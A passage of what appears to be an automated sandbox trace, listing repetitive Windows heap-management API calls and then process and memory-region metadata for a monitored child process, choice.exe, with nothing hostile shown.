GetProcessHeap () returned 0x2d0000 [0075.664] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbd0) returned 1 [0075.664] GetProcessHeap () returned 0x2d0000 [0075.664] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecbd0) returned 0x208 [0075.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbd0 | out: hHeap=0x2d0000) returned 1 [0075.665] GetProcessHeap () returned 0x2d0000 [0075.665] GetProcessHeap () returned 0x2d0000 [0075.665] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbb0) returned 1 [0075.665] GetProcessHeap () returned 0x2d0000 [0075.665] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecbb0) returned 0x18 [0075.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbb0 | out: hHeap=0x2d0000) returned 1 [0075.665] GetProcessHeap () returned 0x2d0000 [0075.665] GetProcessHeap () returned 0x2d0000 [0075.665] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d10) returned 1 [0075.665] GetProcessHeap () returned 0x2d0000 [0075.665] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d10) returned 0x20 [0075.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d10 | out: hHeap=0x2d0000) returned 1 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.666] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee2a0) returned 1 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.666] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee2a0) returned 0x200 [0075.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee2a0 | out: hHeap=0x2d0000) returned 1 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.666] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed0a0) returned 1 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.666] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed0a0) returned 0x18 [0075.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed0a0 | out: hHeap=0x2d0000) returned 1 [0075.666] GetProcessHeap () returned 0x2d0000 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c80) returned 1 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c80) returned 0x20 [0075.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c80 | out: hHeap=0x2d0000) returned 1 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed220) returned 1 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed220) returned 0x14 [0075.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed220 | out: hHeap=0x2d0000) returned 1 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed200) returned 1 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.667] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed200) returned 0x18 [0075.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed200 | out: hHeap=0x2d0000) returned 1 [0075.667] GetProcessHeap () returned 0x2d0000 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bc0) returned 1 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5bc0) returned 0x20 [0075.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bc0 | out: hHeap=0x2d0000) returned 1 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed240) returned 1 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed240) returned 0x16 [0075.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed240 | out: hHeap=0x2d0000) returned 1 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1c0) returned 1 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed1c0) returned 0x18 [0075.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1c0 | out: hHeap=0x2d0000) returned 1 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.668] GetProcessHeap () returned 0x2d0000 [0075.669] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b90) returned 1 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b90) returned 0x20 [0075.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b90 | out: hHeap=0x2d0000) returned 1 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba50) returned 1 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba50) returned 0x2 [0075.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba50 | out: hHeap=0x2d0000) returned 1 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e59e0) returned 1 [0075.669] GetProcessHeap () returned 0x2d0000 [0075.669] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e59e0) returned 0x20 [0075.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e59e0 | out: hHeap=0x2d0000) returned 1 [0075.670] GetProcessHeap () returned 0x2d0000 [0075.670] GetProcessHeap () returned 0x2d0000 [0075.670] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a10) returned 1 [0075.670] GetProcessHeap () returned 0x2d0000 [0075.670] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a10) returned 0x20 [0075.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a10 | out: hHeap=0x2d0000) returned 1 [0075.671] GetProcessHeap () returned 0x2d0000 [0075.671] GetProcessHeap () returned 0x2d0000 [0075.671] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a40) returned 1 [0075.671] GetProcessHeap () returned 0x2d0000 [0075.671] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a40) returned 0x20 [0075.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a40 | out: hHeap=0x2d0000) returned 1 [0075.672] GetProcessHeap () returned 0x2d0000 [0075.672] GetProcessHeap () returned 0x2d0000 [0075.672] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a70) returned 1 [0075.672] GetProcessHeap () returned 0x2d0000 [0075.672] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a70) returned 0x20 [0075.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a70 | out: hHeap=0x2d0000) returned 1 [0075.673] GetProcessHeap () returned 0x2d0000 [0075.673] GetProcessHeap () returned 0x2d0000 [0075.673] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb60) returned 1 [0075.673] GetProcessHeap () returned 0x2d0000 [0075.673] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edb60) returned 0x20 [0075.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb60 | out: hHeap=0x2d0000) returned 1 [0075.673] GetProcessHeap () returned 0x2d0000 [0075.673] GetProcessHeap () returned 0x2d0000 [0075.673] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee640) returned 1 [0075.673] GetProcessHeap () returned 0x2d0000 [0075.673] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee640) returned 0xc [0075.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee640 | out: hHeap=0x2d0000) returned 1 [0075.674] GetProcessHeap () returned 0x2d0000 [0075.674] GetProcessHeap () returned 0x2d0000 [0075.674] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb90) returned 1 [0075.674] GetProcessHeap () returned 0x2d0000 [0075.674] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edb90) returned 0x20 [0075.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb90 | out: hHeap=0x2d0000) returned 1 [0075.674] GetProcessHeap () returned 0x2d0000 [0075.674] GetProcessHeap () returned 0x2d0000 [0075.675] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7b70) returned 1 [0075.675] GetProcessHeap () returned 0x2d0000 [0075.675] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7b70) returned 0x30 [0075.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7b70 | out: hHeap=0x2d0000) returned 1 [0075.675] GetProcessHeap () returned 0x2d0000 [0075.675] GetProcessHeap () returned 0x2d0000 [0075.676] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edbc0) returned 1 [0075.676] GetProcessHeap () returned 0x2d0000 [0075.676] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edbc0) returned 0x20 [0075.676] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edbc0 | out: hHeap=0x2d0000) returned 1 [0075.676] GetProcessHeap () returned 0x2d0000 [0075.676] GetProcessHeap () returned 0x2d0000 [0075.677] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bf0) returned 1 [0075.677] GetProcessHeap () returned 0x2d0000 [0075.677] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7bf0) returned 0x30 [0075.677] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bf0 | out: hHeap=0x2d0000) returned 1 [0075.677] GetProcessHeap () returned 0x2d0000 [0075.677] GetProcessHeap () returned 0x2d0000 [0075.678] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd40) returned 1 [0075.678] GetProcessHeap () returned 0x2d0000 [0075.678] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edd40) returned 0x20 [0075.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd40 | out: hHeap=0x2d0000) returned 1 [0075.678] GetProcessHeap () returned 0x2d0000 [0075.678] GetProcessHeap () returned 0x2d0000 [0075.678] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee560) returned 1 [0075.679] GetProcessHeap () returned 0x2d0000 [0075.679] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee560) returned 0x16 [0075.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee560 | out: hHeap=0x2d0000) returned 1 [0075.679] GetProcessHeap () returned 0x2d0000 [0075.679] GetProcessHeap () returned 0x2d0000 [0075.679] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd10) returned 1 [0075.679] GetProcessHeap () returned 0x2d0000 [0075.679] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edd10) returned 0x20 [0075.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd10 | out: hHeap=0x2d0000) returned 1 [0075.680] GetProcessHeap () returned 0x2d0000 [0075.680] GetProcessHeap () returned 0x2d0000 [0075.680] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee580) returned 1 [0075.680] GetProcessHeap () returned 0x2d0000 [0075.680] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee580) returned 0x16 [0075.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee580 | out: hHeap=0x2d0000) returned 1 [0075.680] GetProcessHeap () returned 0x2d0000 [0075.680] GetProcessHeap () returned 0x2d0000 [0075.680] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edce0) returned 1 [0075.681] GetProcessHeap () returned 0x2d0000 [0075.681] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edce0) returned 0x20 [0075.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edce0 | out: hHeap=0x2d0000) returned 1 [0075.681] GetProcessHeap () returned 0x2d0000 [0075.681] GetProcessHeap () returned 0x2d0000 [0075.681] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x30a5f0) returned 1 [0075.682] GetProcessHeap () returned 0x2d0000 [0075.682] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x30a5f0) returned 0x82 [0075.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x30a5f0 | out: hHeap=0x2d0000) returned 1 [0075.682] GetProcessHeap () returned 0x2d0000 [0075.682] GetProcessHeap () returned 0x2d0000 [0075.683] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edcb0) returned 1 [0075.683] GetProcessHeap () returned 0x2d0000 [0075.683] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edcb0) returned 0x20 [0075.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edcb0 | out: hHeap=0x2d0000) returned 1 [0075.747] GetProcessHeap () returned 0x2d0000 [0075.747] GetProcessHeap () returned 0x2d0000 [0075.747] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee5c0) returned 1 [0075.747] GetProcessHeap () returned 0x2d0000 [0075.747] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee5c0) returned 0xe [0075.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee5c0 | out: hHeap=0x2d0000) returned 1 [0075.748] GetProcessHeap () returned 0x2d0000 [0075.748] GetProcessHeap () returned 0x2d0000 [0075.748] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc80) returned 1 [0075.748] GetProcessHeap () returned 0x2d0000 [0075.748] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc80) returned 0x20 [0075.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc80 | out: hHeap=0x2d0000) returned 1 [0075.749] GetProcessHeap () returned 0x2d0000 [0075.749] GetProcessHeap () returned 0x2d0000 [0075.749] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee5e0) returned 1 [0075.749] GetProcessHeap () returned 0x2d0000 [0075.749] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee5e0) returned 0xc [0075.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee5e0 | out: hHeap=0x2d0000) returned 1 [0075.749] GetProcessHeap () returned 0x2d0000 [0075.749] GetProcessHeap () returned 0x2d0000 [0075.749] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc50) returned 1 [0075.749] GetProcessHeap () returned 0x2d0000 [0075.749] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc50) returned 0x20 [0075.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc50 | out: hHeap=0x2d0000) returned 1 [0075.750] GetProcessHeap () returned 0x2d0000 [0075.750] GetProcessHeap () returned 0x2d0000 [0075.750] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee600) returned 1 [0075.750] GetProcessHeap () returned 0x2d0000 [0075.750] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee600) returned 0xe [0075.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee600 | out: hHeap=0x2d0000) returned 1 [0075.750] GetProcessHeap () returned 0x2d0000 [0075.750] GetProcessHeap () returned 0x2d0000 [0075.750] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc20) returned 1 [0075.750] GetProcessHeap () returned 0x2d0000 [0075.751] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc20) returned 0x20 [0075.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc20 | out: hHeap=0x2d0000) returned 1 [0075.751] GetProcessHeap () returned 0x2d0000 [0075.751] GetProcessHeap () returned 0x2d0000 [0075.751] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee620) returned 1 [0075.751] GetProcessHeap () returned 0x2d0000 [0075.751] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee620) returned 0x10 [0075.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee620 | out: hHeap=0x2d0000) returned 1 [0075.751] GetProcessHeap () returned 0x2d0000 [0075.751] GetProcessHeap () returned 0x2d0000 [0075.752] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edbf0) returned 1 [0075.752] GetProcessHeap () returned 0x2d0000 [0075.752] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edbf0) returned 0x20 [0075.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edbf0 | out: hHeap=0x2d0000) returned 1 [0075.752] GetProcessHeap () returned 0x2d0000 [0075.752] GetProcessHeap () returned 0x2d0000 [0075.752] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba70) returned 1 [0075.752] GetProcessHeap () returned 0x2d0000 [0075.752] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba70) returned 0x18 [0075.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba70 | out: hHeap=0x2d0000) returned 1 [0075.752] GetProcessHeap () returned 0x2d0000 [0075.753] GetProcessHeap () returned 0x2d0000 [0075.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5aa0) returned 1 [0075.753] GetProcessHeap () returned 0x2d0000 [0075.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5aa0) returned 0x20 [0075.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5aa0 | out: hHeap=0x2d0000) returned 1 [0075.753] GetProcessHeap () returned 0x2d0000 [0075.753] GetProcessHeap () returned 0x2d0000 [0075.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ad0) returned 1 [0075.753] GetProcessHeap () returned 0x2d0000 [0075.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ad0) returned 0x20 [0075.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ad0 | out: hHeap=0x2d0000) returned 1 [0075.754] GetProcessHeap () returned 0x2d0000 [0075.754] GetProcessHeap () returned 0x2d0000 [0075.754] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b00) returned 1 [0075.754] GetProcessHeap () returned 0x2d0000 [0075.754] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b00) returned 0x20 [0075.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b00 | out: hHeap=0x2d0000) returned 1 [0075.755] GetProcessHeap () returned 0x2d0000 [0075.755] GetProcessHeap () returned 0x2d0000 [0075.755] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b30) returned 1 [0075.755] GetProcessHeap () returned 0x2d0000 [0075.755] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b30) returned 0x20 [0075.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b30 | out: hHeap=0x2d0000) returned 1 [0075.756] GetProcessHeap () returned 0x2d0000 [0075.756] GetProcessHeap () returned 0x2d0000 [0075.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba90) returned 1 [0075.756] GetProcessHeap () returned 0x2d0000 [0075.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba90) returned 0x18 [0075.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba90 | out: hHeap=0x2d0000) returned 1 [0075.756] GetProcessHeap () returned 0x2d0000 [0075.756] GetProcessHeap () returned 0x2d0000 [0075.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b60) returned 1 [0075.756] GetProcessHeap () returned 0x2d0000 [0075.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b60) returned 0x20 [0075.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b60 | out: hHeap=0x2d0000) returned 1 [0075.757] GetProcessHeap () returned 0x2d0000 [0075.757] GetProcessHeap () returned 0x2d0000 [0075.757] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bf0) returned 1 [0075.757] GetProcessHeap () returned 0x2d0000 [0075.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5bf0) returned 0x20 [0075.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bf0 | out: hHeap=0x2d0000) returned 1 [0075.757] GetProcessHeap () returned 0x2d0000 [0075.757] GetProcessHeap () returned 0x2d0000 [0075.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c50) returned 1 [0075.758] GetProcessHeap () returned 0x2d0000 [0075.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c50) returned 0x20 [0075.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c50 | out: hHeap=0x2d0000) returned 1 [0075.758] GetProcessHeap () returned 0x2d0000 [0075.758] GetProcessHeap () returned 0x2d0000 [0075.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cb0) returned 1 [0075.758] GetProcessHeap () returned 0x2d0000 [0075.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5cb0) returned 0x20 [0075.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cb0 | out: hHeap=0x2d0000) returned 1 [0075.759] GetProcessHeap () returned 0x2d0000 [0075.759] GetProcessHeap () returned 0x2d0000 [0075.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ce0) returned 1 [0075.759] GetProcessHeap () returned 0x2d0000 [0075.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ce0) returned 0x20 [0075.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ce0 | out: hHeap=0x2d0000) returned 1 [0075.760] GetProcessHeap () returned 0x2d0000 [0075.760] GetProcessHeap () returned 0x2d0000 [0075.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebab0) returned 1 [0075.760] GetProcessHeap () returned 0x2d0000 [0075.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebab0) returned 0x18 [0075.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebab0 | out: hHeap=0x2d0000) returned 1 [0075.760] GetProcessHeap () returned 0x2d0000 [0075.760] GetProcessHeap () returned 0x2d0000 [0075.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c20) returned 1 [0075.760] GetProcessHeap () returned 0x2d0000 [0075.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c20) returned 0x20 [0075.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c20 | out: hHeap=0x2d0000) returned 1 [0075.761] GetProcessHeap () returned 0x2d0000 [0075.761] GetProcessHeap () returned 0x2d0000 [0075.761] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba30) returned 1 [0075.761] GetProcessHeap () returned 0x2d0000 [0075.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba30) returned 0x18 [0075.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba30 | out: hHeap=0x2d0000) returned 1 [0075.761] exit (_Code=0) Thread: id = 155 os_tid = 0xc0c Process: id = "37" image_name = "choice.exe" filename = "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe" page_root = "0x3d3dc000" os_pid = "0xc2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3808 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3809 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3810 start_va = 0x160000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3811 start_va = 0x1240000 end_va = 0x1317fff monitored = 1 entry_point = 0x130f1ee region_type = mapped_file name = "choice.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe") Region: id = 3812 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3813 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3814 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3815 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3816 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3817 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3818 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3819 start_va = 0x260000 end_va = 0x4bffff monitored = 